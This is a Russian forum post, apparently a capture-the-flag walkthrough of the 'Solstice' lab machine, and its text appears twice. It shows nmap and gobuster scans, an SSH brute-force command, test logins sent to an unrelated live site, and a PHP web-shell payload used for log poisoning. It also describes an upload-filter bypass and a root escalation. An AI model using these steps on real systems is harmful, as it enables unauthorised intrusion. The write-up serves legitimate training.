Приветствую!
Хотел бы поделиться прохождением коробки из листинга Offensive Security. Отмечу, что эта машина стала первой которую я старался проходить детально, без цели просто пройти и поставить галочку.
Name: Soltice
Difficult level (Offensive Security): Easy
Difficult level Autor: Intermediate
Discovery and Scanning:
1. Сканируем все порты
2. Определяем версии сервисов/служб, запускаем необходимые скрипты, определяем ОС
3. Приводим полученную информацию в приемлемый рабочий вид
4. Ищу готовые эксплоиты в интересующих меня сервиисах
pyftpdlib 1.5.6 - не найдено
Exim smtpd 4.92 - не найдено
Squid http proxy 4.6 - не найдено
FreeFloat ftpd 1.00 - найдено, но только под ОС Windows
Discovery and Scanning
И так, имея на руках всю информацию, принемаю решение двигаться постепенно по списку вниз и соответственно начну с FTP. Тут меня интересует только дрступ anonymous
Проверяю на досту следующие пары login : password:
И все без результата. Ок двигаюсь дальше!
2121/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
Внутри вижу каталог /pub и смотрю что внутри:
Попробую туда положить файл, вдруг удасться и в дальнейшем найду способ к нему обратиться
Но нет, бросаю и двигаюсь дальше по списку'
62524/tcp open ftp syn-ack ttl 64 FreeFloat ftpd 1.00
И не устанавливается соединение((( Попробую пнуть nc и снять баннер
Баннер слизывается, но получить соединение мне так и не удалось((( Буду двигаться дальше...
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Из всего что уалось получить, это логин системного пользователя:
Не долго думая, сразу натравливаю hydra на 22 порт с целью выявить слабый пароль и получить доступ:
Пока гидра трудится, тружусь и я. Двигаюсь дальше!
25/tcp open smtp syn-ack ttl 64 Exim smtpd 4.92
Пробую получить список пользователей:
И ничего(((( Печально конечно, но не критично! Перехожу в веб апликухам
За пару месяцев я достаточно много времени уделил OWASP Guide и сформировал небольшой чек -лист по которому и пройдусь.
Пустая страница!
Web server: Apache httpd 2.4.38
Lang/Framework: None
Hidden Directory:
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Web server:Squid http proxy 4.6
Lang/Framework: None
Hidden Directory:
Попытка прогнать gobuster'ом не увенчалась успехом из-за крайне низкой скорости сканирования и я отключился
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Почитав на тему Squid proxy в сети, пришол к выводу что это ошибка не верной настройки сервера и каких-то скрытых фич там просто нет.
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory: None
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Перейдя по линку Book List получаем строку в браузере типа
Пробую выявить LFI
Вуаля!!! Найдена уязвимость.
Теперь во всех традициях CTF я должен заюзать эту уязвимость и двинуть дальше, но я зафиксирую себе эту инфу и перейду к следующему порту.
Пустая страница!
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - Yes!
И так, имеем форму авторизации File Thingie, что ого такое хрен знает. Топаю читать..
Вообщем это просто файловый менеджер. Смотрю что есть на него на exploitdb
В теге <title> нахожу версию 2,5,7
Читаю описание эксплоита и понимаю, что для реализации требуется авторизоваться))) И тут начинаются танцы с бубном.
Пробую данные от балды чтоб понять какую ошибку возвращает приложени и меня редиректит на пустую страницу index.php((( что за....
Топаю читать..
В Гугле нахожу пару ресурсов где установлен File Thingie
И тут все работает как надо. Ввожу не верные данные получаю по шапке. Посмотрю какой запрос отправляется во время попытки входа
Запрос:
Форма на сторонем ресурсе
Моя форма
Ответ:
Стороний сайт
Моя форма:
И как видим, в моем случает ответ совершенно разный, он даже не обрабатывается нечем, это просто редирект. В какой-то момент я подумал что это фейк, но решил покопаться в ответа гугла. И через какое-то время наткнулся на статью по установки это менеджера
Из заинтересовавшей меня информации мне приглянулись 2 вещи:
Deploying File Thingie on your server couldn't be easier. Grab the latest release of the application and unpack the downloaded archive. Rename the config.sample.php to config.php, open it in a text editor, and specify the desired user name and password as follows:
define("USERNAME", "user");
define("PASSWORD", "password");
Файл с настройками config.php который хранит креды и
chown -R www-data:www-data /path/to/filethingie/root/directory
That's all there is to it. Point your browser to
дефолтный каталог /filethingie
Решаю подставить имя каталога в строку
То что сейчас произошло, относится к разделу OWASP Guide 4.1.4
Конечно можно было не возится и пойти на эксплуатацию LFI, но тогда многое бы не получилось закрепить на практике. А так как я хотел бы изначально заложить верные привычки, то приходится возится)))
OWASP Guide 4.4.2 Testing for Default Credentials
Одной из первостепенных задач, если перед нами форма авторизации, является проверка на креды по дефолту.
Запуская Burp, ловлю post запрос и отправляю его в Intruder. Собираю Cluster Bomb, где оба paylod'а имеют один и тот же словарь и запускаю!
Как видим статус 302 и 200 везде но в одном случае размер ответа иной. Из 10000 вариантов только пара admin : admin дала статус 302 и размер 503
Пробую войти под этими данными:
И мы внутри!
3.Exploitation
Что мы имеем по итогу?
Двигаемся по порядку, а значит попробуем проэксплуатировать LFI!
Exploitation LFI
Из того что знаю я (пока что), я могу:
Раз у нас есть возможность обратиться к файлу access.log, то мы можем попробовать применить технику "Отравление лог файла". Суть данного метода заключается в том, что любой запрос к серверу сохраняется в лог файлах, соответственно это дает нам возможность отправить запрос содержащий PHP скрипт. Попробуем для начала получить доступ к phpinfo()
С помощью команды
Если внедрение скрипта прошло успешно, то обновив страницу в браузере получим это
Супер, теперь изменим GET запрос на GET /<?php passthru($_GET['cmd']); ?>>
Теперь:
И мы внутри
Exploitation Upload Form File
Попробуем теперь получить доступ через менеджер файлов по адрессу
В прошлый раз мы находили эксплоит, но поправде сказать я не смог его реализовать. Файл загрузил, но распаковать не удалось. Но из него я прочитал, что для запуска шелл нам нужно будет просто обратится к файлу напрямую. Давайте попробуем загрузить шелл самостоятельно!
Я уже пробовал загружать файл и он был залит, но из теории мы знаем что:
Смотрим есть ли какие либо скрипты на стороне клиента
На стороне клиента у нас есть скрипт, но судя из его содержимого он отвечает не за фильтрацию, а это говорит о том, что фильтрации нет.
Смотрим фильтруется ли файл на стороне сервера
При попытке залить php файл мы получаем сообщение о том, что этот файл не может быть загружен. Значит есть фильтрация по типу файла. Так же можно заметить ограничение на его размер в 2 мб.
Имеем пока :
Попробуем пофильтровать по имени и получаем статус 302. Ок, думаю что фильтрации по имени нет
Попробуем фильтрацию по MIME
Заменим значение на image/jpeg и получаем 302. Ок, а теперь поменяем разширение файла на jpeg
Хорошо, теперь точно знаем что нет фильрации по содержимому. Осталось проянить, фильрации имеется по типу и MIME, или только по типу
Возвращаю значение
И все загружается)))
Отлично, теперь мы с уверенностью можем говорить о наличии фильтрации по типу файла. Будем пробовать обойти
Путем перебора разных типов php файлов у меня вышло вот это:
При попытке обратится к любому из файлов получаю вот это:
То есть файлы выводятся на экран но не исполняются(((
Попытки получить веб шелл тоже нечего не принесли. Вернувшись к эксплоиту, понимаю что вся техника сводится к трем шагам.
Хм... Я могу распаковывать zip архив! Пакую свой шелл в архив и пробую залить
Супер, как распаковать?
Оказывается нужно просто кликнуть рядом с файлом и вывалится менюшка описанная в скрипте. Выбираю unzip и жмакаю!
Пишет что файл распакован, но он не отображается( Смотрю куда ложится архив и вижу корень
Наверное распаковывается сюда но из-за фильтра не отображается. Пробую обратиться напрямую и...
Файл исполняется))) Ставлю листенера и обновляю страницу
Тадам.... Есть шелл))) Правда теперь возникает вопрос, на кой черт нужен эксплоит с кучей заморочек, если решение на столько простое?
4. Privilage Escalation
И так мы нашли 2 способа как получить доступ с низкими правами. Какой из них выбрать решать вам. Пришло время повысится в правах и почитать наши флаги!
Первым делом привожу в порядок оболочку
Ок, первым делом сотрю sudo
Просит пароль, а у меня его нет
Смотрим cron задачи
Есть задачи, но все они запускаются после перезагрузки
И тут тоже ничего интересного
Пробую зайти в домашний каталог пользователя miguel
Флаг почитать не могу и .bash_history пустой(( Ок, смотрю suid/sgid файлы
Интерес представил 1 файл:
Смотрю на exploitdb что есть на exim4
Двигаюсь по порядку. Для первого нам нужна версия Debian 8, смотри что у нас:
Ок, отбрасываем.
Exim < 4.86.2 - Local Privilege Escalation
От нас просят
Перевод:
Для поддержки этой опции exim должен быть скомпилирован с Perl
поддержку, которой можно проверить с помощью:
exim -bV -v | grep i Perl
Пробую ..
И ничего... Значит вариант отпадает
Теперь погляжу версию ядра, может есть эксплоит
И тоже пусто((((
Заброшу pspy чтоб поглядеть на процессы и может там есть скрытая cron задача
Видим что от root висит 2 процесса
CMD: UID=0 PID=392 | /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/ - PHP сервер на локальном 57 порте который работает с /var/tmp/sv/
CMD: UID=0 PID=389 | /bin/sh -c /usr/bin/python -m pyftpdlib -p 21 -u 15090e62f66f41b547b75973f9d516af -P 15090e62f66f41b547b75973f9d516af -d /root/ftp/ - FTP сервер
Меня интересует первый процесс с веб сервером. Погляжу список подключений через ss
Видим что 57 порт висит в режиме ожидания, попробуем туда стукнуть cURL'ом
Ок, посмотрим что лежит в директории в которой развернут веб сервер
И видим что в каталоге лежит php файл который выводит Under construction, как раз то, что мы получили в ответе от curl. Обращаем внимание на тот факт, что мы можем перезаписывать данный файл, а это дает нам возможность внедрить любой PHP код, котрый быдет иcполнен от ROOT.
Я верну реверс шелл, вы можете сделать что-то другое. Например можно прочитать /etc/shadow и разобрать хеши. Можно дать SUID какой-то утилите и через нее вернуть оболочку, вообще все что пожелает душа!
Внедряю
И получаю заветный ROOT
Дальше остается только почитать флаги и было бы хорошо написать отчет, но я пока этого делать не умею))))
ИТОГИ:
На этой коробке мы изчили и применили такие вещи:
С Уважением'
Хотел бы поделиться прохождением коробки из листинга Offensive Security. Отмечу, что эта машина стала первой которую я старался проходить детально, без цели просто пройти и поставить галочку.
Name: Soltice
Difficult level (Offensive Security): Easy
Difficult level Autor: Intermediate
Discovery and Scanning:
1. Сканируем все порты
Код:
┌─[qulan@parrot]─[~]
└──╼ $sudo nmap -p- -T5 192.168.1.191 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 11:47 EEST
------------------------------------------------------
Nmap scan report for 192.168.1.191
Host is up, received arp-response (0.00050s latency).
Scanned at 2021-06-01 11:47:42 EEST for 4s
Not shown: 65524 closed ports
Reason: 65524 resets
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
2121/tcp open ccproxy-ftp syn-ack ttl 64
3128/tcp open squid-http syn-ack ttl 64
8593/tcp open unknown syn-ack ttl 64
54787/tcp open unknown syn-ack ttl 64
62524/tcp open unknown syn-ack ttl 64
MAC Address: 08:00:27:82:6E:13 (Oracle VirtualBox virtual NIC)
2. Определяем версии сервисов/служб, запускаем необходимые скрипты, определяем ОС
Код:
┌─[qulan@parrot]─[~]
└──╼ $sudo nmap -p 21,22,25,80,139,445,2121,3128,8593,54787,62524 -A -T5 192.168.1.191 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 11:51 EEST
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.191:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:a7:37:fd:55:6c:f8:ea:03:f5:10:bc:94:32:07:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWAl1JMEsT6kbFmhkFFIZbd2aH3DuBpmLjo1MvWSSFsUlQ+rN9wQ8y469ng7vKZDx19ke+JZ9jUcuJAu4zQ6BHjHDcLTy44WJCESD4oACMCK6+tlMneuINf6KTMr3urfvkvlULi2ffNbMl6Ko9gS/Oqh8Cm9HyAXGTK5MVgmW39QFTXdn7ByQMnnXjKmJ+5nXbf9c9Al9JJCFQAe0irCq2w3ubylh83SwPWsunapn0pW8Czsm2nsFL6aRXCOoNeK7/GmcC8lqENMnUIVRauhpDR3radZ4Uv4ejzHL8H+IklpgVRqBiuzRiqHpGlotNYadcArbYZ4auDwibrtRwgTlD
| 256 ab:da:6a:6f:97:3f:b2:70:3e:6c:2b:4b:0c:b7:f6:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM9EuXzK3hXcn3ml6Kj69Bo1DACMk1AZWWm9wgPGIyPBQyQLXLazAtoqEP1phT1BNmtyAvScCwsydQwUsRH/3vA=
| 256 ae:29:d4:e3:46:a1:b1:52:27:83:8f:8f:b0:c4:36:d1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATUyTSmh1Tep0cnIVXvQBD6IQTjI8TBEmQEba1Fzkv2
25/tcp open smtp syn-ack ttl 64 Exim smtpd 4.92
| smtp-commands: solstice Hello nmap.scanme.org [192.168.1.9], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
2121/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drws------ 2 www-data www-data 4096 Jun 18 2020 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.191:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
3128/tcp open http-proxy syn-ack ttl 64 Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
8593/tcp open http syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
54787/tcp open http syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
62524/tcp open ftp syn-ack ttl 64 FreeFloat ftpd 1.00
MAC Address: 08:00:27:82:6E:13 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Uptime guess: 35.741 days (since Mon Apr 26 18:04:57 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: solstice; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| nbstat: NetBIOS name: SOLSTICE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| SOLSTICE<00> Flags: <unique><active>
| SOLSTICE<03> Flags: <unique><active>
| SOLSTICE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 11147/tcp): CLEAN (Couldn't connect)
| Check 2 (port 38069/tcp): CLEAN (Couldn't connect)
| Check 3 (port 15631/udp): CLEAN (Failed to receive data)
| Check 4 (port 38123/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: \x00
| NetBIOS computer name: SOLSTICE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-01T04:52:00-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-01T08:51:59
|_ start_date: N/A
3. Приводим полученную информацию в приемлемый рабочий вид
Код:
21/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.191:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
2121/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drws------ 2 www-data www-data 4096 Jun 18 2020 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.1.191:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
62524/tcp open ftp syn-ack ttl 64 FreeFloat ftpd 1.00
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0
25/tcp open smtp syn-ack ttl 64 Exim smtpd 4.92
| smtp-commands: solstice Hello nmap.scanme.org [192.168.1.9], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
3128/tcp open http-proxy syn-ack ttl 64 Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
8593/tcp open http syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
54787/tcp open http syn-ack ttl 64 PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
OS : Linux(Debian)
4. Ищу готовые эксплоиты в интересующих меня сервиисах
pyftpdlib 1.5.6 - не найдено
Exim smtpd 4.92 - не найдено
Squid http proxy 4.6 - не найдено
FreeFloat ftpd 1.00 - найдено, но только под ОС Windows
Discovery and Scanning
И так, имея на руках всю информацию, принемаю решение двигаться постепенно по списку вниз и соответственно начну с FTP. Тут меня интересует только дрступ anonymous
21/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
Проверяю на досту следующие пары login : password:
Код:
anonymous :
anonymous : anonymous
ftp : ftp
2121/tcp open ftp syn-ack ttl 64 pyftpdlib 1.5.6
Код:
┌─[qulan@parrot]─[~]
└──╼ $ftp
ftp> open 192.168.1.191 2121
Connected to 192.168.1.191.
220 pyftpdlib 1.5.6 ready.
Name (192.168.1.191:qulan): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Внутри вижу каталог /pub и смотрю что внутри:
Код:
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
drws------ 2 www-data www-data 4096 Jun 18 2020 pub
226 Transfer complete.
ftp> cd pub
250 "/pub" is the current directory.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
Попробую туда положить файл, вдруг удасться и в дальнейшем найду способ к нему обратиться
Код:
ftp> put put_file
local: put_file remote: put_file
200 Active data connection established.
550 Not enough privileges
Но нет, бросаю и двигаюсь дальше по списку'
62524/tcp open ftp syn-ack ttl 64 FreeFloat ftpd 1.00
Код:
┌─[qulan@parrot]─[~]
└──╼ $ftp
ftp> open 192.168.1.191 62524
Connected to 192.168.1.191.
dir
help
blablabla
И не устанавливается соединение((( Попробую пнуть nc и снять баннер
Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $nc 192.168.1.191 62524
sdsd
220 FreeFloat Ftp Server (Version 1.00).
Баннер слизывается, но получить соединение мне так и не удалось((( Буду двигаться дальше...
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Из всего что уалось получить, это логин системного пользователя:
Код:
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\miguel (Local User)
Не долго думая, сразу натравливаю hydra на 22 порт с целью выявить слабый пароль и получить доступ:
Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $hydra -l miguel -P /home/qulan/wordlists/rockyou.txt 192.168.1.191 ssh -vV -t 16
Пока гидра трудится, тружусь и я. Двигаюсь дальше!
25/tcp open smtp syn-ack ttl 64 Exim smtpd 4.92
Пробую получить список пользователей:
Код:
┌─[qulan@parrot]─[~]
└──╼ $smtp-user-enum -U /home/qulan/wordlists/SecLists/Usernames/top-usernames-shortlist.txt -t 192.168.1.191
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /home/qulan/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
Target count ............. 1
Username count ........... 17
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Tue Jun 1 12:42:33 2021 #########
######## Scan completed at Tue Jun 1 12:42:34 2021 #########
0 results.
И ничего(((( Печально конечно, но не критично! Перехожу в веб апликухам
За пару месяцев я достаточно много времени уделил OWASP Guide и сформировал небольшой чек -лист по которому и пройдусь.
http://192.168.1.191/
Пустая страница!
Web server: Apache httpd 2.4.38
Lang/Framework: None
Hidden Directory:
Код:
┌─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191/ -w wordlists/dir/directory-list-2.3-medium.txt -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.191/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/01 12:52:22 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.191/app (Status: 301) [Size: 312] [--> http://192.168.1.191/app/]
http://192.168.1.191/javascript (Status: 301) [Size: 319] [--> http://192.168.1.191/javascript/]
http://192.168.1.191/backup (Status: 301) [Size: 315] [--> http://192.168.1.191/backup/]
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
http://192.168.1.191:3128/
Web server:Squid http proxy 4.6
Lang/Framework: None
Hidden Directory:
Попытка прогнать gobuster'ом не увенчалась успехом из-за крайне низкой скорости сканирования и я отключился
Код:
┌─[✗]─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191:3128/ -w wordlists/dir/directory-list-2.3-medium.txt -e -b "400"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.191:3128/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes: 400
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/01 13:01:56 Starting gobuster in directory enumeration mode
===============================================================
Progress: 2868 / 220561 (1.30%)^C
[!] Keyboard interrupt detected, terminating.
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Почитав на тему Squid proxy в сети, пришол к выводу что это ошибка не верной настройки сервера и каких-то скрытых фич там просто нет.
http://192.168.1.191:8593/
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory: None
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Перейдя по линку Book List получаем строку в браузере типа
http://192.168.1.191:8593/index.php?book=list
Пробую выявить LFI
Вуаля!!! Найдена уязвимость.
Теперь во всех традициях CTF я должен заюзать эту уязвимость и двинуть дальше, но я зафиксирую себе эту инфу и перейду к следующему порту.
http://192.168.1.191:54787/
Пустая страница!
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
Код:
┌─[qulan@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.191:54787/ -w wordlists/dir/directory-list-2.3-medium.txt -e --exclude-length "0"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.191:54787/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlists/dir/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/06/01 13:20:27 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.191:54787/project (Status: 200) [Size: 3565]
/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - None
Ссылка скрыта от гостей
Web serverHP/7.3.14
Lang/Framework: PHP
Hidden Directory:
Ссылка скрыта от гостей
- нечего интересного/robots.txt - None
/sitemap.xml - None
/security.txt - None
/humans.txt - None
Any comments? - None
Any metadata? - None
Any JS files? - Yes!
И так, имеем форму авторизации File Thingie, что ого такое хрен знает. Топаю читать..
Вообщем это просто файловый менеджер. Смотрю что есть на него на exploitdb
Код:
┌─[qulan@parrot]─[~]
└──╼ $searchsploit -w File Thingie
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
File Thingie 2.5.5 - File Security Bypass | https://www.exploit-db.com/exploits/12617
FileThingie 2.5.7 - Arbitrary File Upload | https://www.exploit-db.com/exploits/47349
----------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Papers: No Results
В теге <title> нахожу версию 2,5,7
Читаю описание эксплоита и понимаю, что для реализации требуется авторизоваться))) И тут начинаются танцы с бубном.
Пробую данные от балды чтоб понять какую ошибку возвращает приложени и меня редиректит на пустую страницу index.php((( что за....
Топаю читать..
В Гугле нахожу пару ресурсов где установлен File Thingie
И тут все работает как надо. Ввожу не верные данные получаю по шапке. Посмотрю какой запрос отправляется во время попытки входа
Запрос:
Форма на сторонем ресурсе
Код:
POST /index.php HTTP/1.1
Host: www.vector-archive.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://www.vector-archive.org
DNT: 1
Connection: close
Referer: http://www.vector-archive.org/index.php?act=error
Cookie: PHPSESSID=2f21edf464f7cc30caf4d3c341146115d586367d
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
ft_user=test&ft_pass=test&act=dologin
Моя форма
Код:
POST /index.php HTTP/1.1
Host: 192.168.1.191:54787
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.1.191:54787
DNT: 1
Connection: close
Referer: http://192.168.1.191:54787/project
Cookie: PHPSESSID=17c8hfb24nm9pihg84kld685ac
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
ft_user=fgfgf&ft_pass=fgfg&act=dologin
Ответ:
Стороний сайт
Код:
HTTP/1.1 302 Found
date: Thu, 03 Jun 2021 18:44:30 GMT
server: Apache/2.4.29 (Debian)
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
location: http://www.vector-archive.org/index.php?act=error
